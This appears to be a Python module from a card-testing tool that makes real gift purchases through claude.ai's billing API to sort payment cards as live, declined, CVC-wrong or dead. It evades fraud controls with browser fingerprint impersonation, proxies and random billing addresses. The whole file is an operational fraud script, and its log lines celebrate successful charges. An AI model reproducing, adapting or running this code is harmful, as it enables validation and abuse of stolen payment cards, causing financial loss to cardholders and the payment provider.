76 lines
2.7 KiB
Python
76 lines
2.7 KiB
Python
from curl_cffi import requests # 用于模拟指纹
|
|
|
|
from config import PRODUCT_ID, get_proxy
|
|
from models import ClaudeAccount
|
|
from identity import random_address
|
|
|
|
|
|
class GiftChecker:
|
|
def __init__(self, account: ClaudeAccount):
|
|
self.account = account
|
|
|
|
def purchase(self, pm_id):
|
|
"""尝试购买 Gift"""
|
|
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
|
|
|
|
headers = {
|
|
"Host": "claude.ai",
|
|
"User-Agent": self.account.user_agent,
|
|
"Content-Type": "application/json",
|
|
"Accept": "*/*",
|
|
"Anthropic-Client-Version": "1.0.0",
|
|
"Anthropic-Client-Platform": "web_claude_ai",
|
|
"Anthropic-Device-Id": self.account.device_id,
|
|
"Origin": "https://claude.ai",
|
|
"Referer": "https://claude.ai/gift",
|
|
"Cookie": f"sessionKey={self.account.session_key}"
|
|
}
|
|
|
|
payload = {
|
|
"product_id": PRODUCT_ID,
|
|
"currency": "USD",
|
|
"payment_method_id": pm_id,
|
|
"to_email": self.account.email,
|
|
"to_name": "",
|
|
"from_name": "Checker",
|
|
"from_email": self.account.email,
|
|
"gift_message": "",
|
|
"card_color": "clay",
|
|
"billing_address": random_address(),
|
|
"scheduled_delivery_at": None
|
|
}
|
|
|
|
try:
|
|
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
|
|
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124", proxies=get_proxy())
|
|
|
|
resp_json = {}
|
|
try:
|
|
resp_json = resp.json()
|
|
except:
|
|
pass
|
|
|
|
if resp.status_code == 200:
|
|
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
|
|
return "LIVE"
|
|
elif resp.status_code == 402:
|
|
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
|
|
print(f"[-] 支付失败 (402): {err_msg}")
|
|
|
|
if "declined" in err_msg.lower():
|
|
return "DECLINED"
|
|
elif "insufficient" in err_msg.lower():
|
|
return "INSUFFICIENT_FUNDS"
|
|
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
|
|
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
|
|
return "CCN_LIVE"
|
|
else:
|
|
return "DEAD"
|
|
else:
|
|
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
|
|
return "ERROR"
|
|
|
|
except Exception as e:
|
|
print(f"[-] 购买请求异常: {e}")
|
|
return "ERROR"
|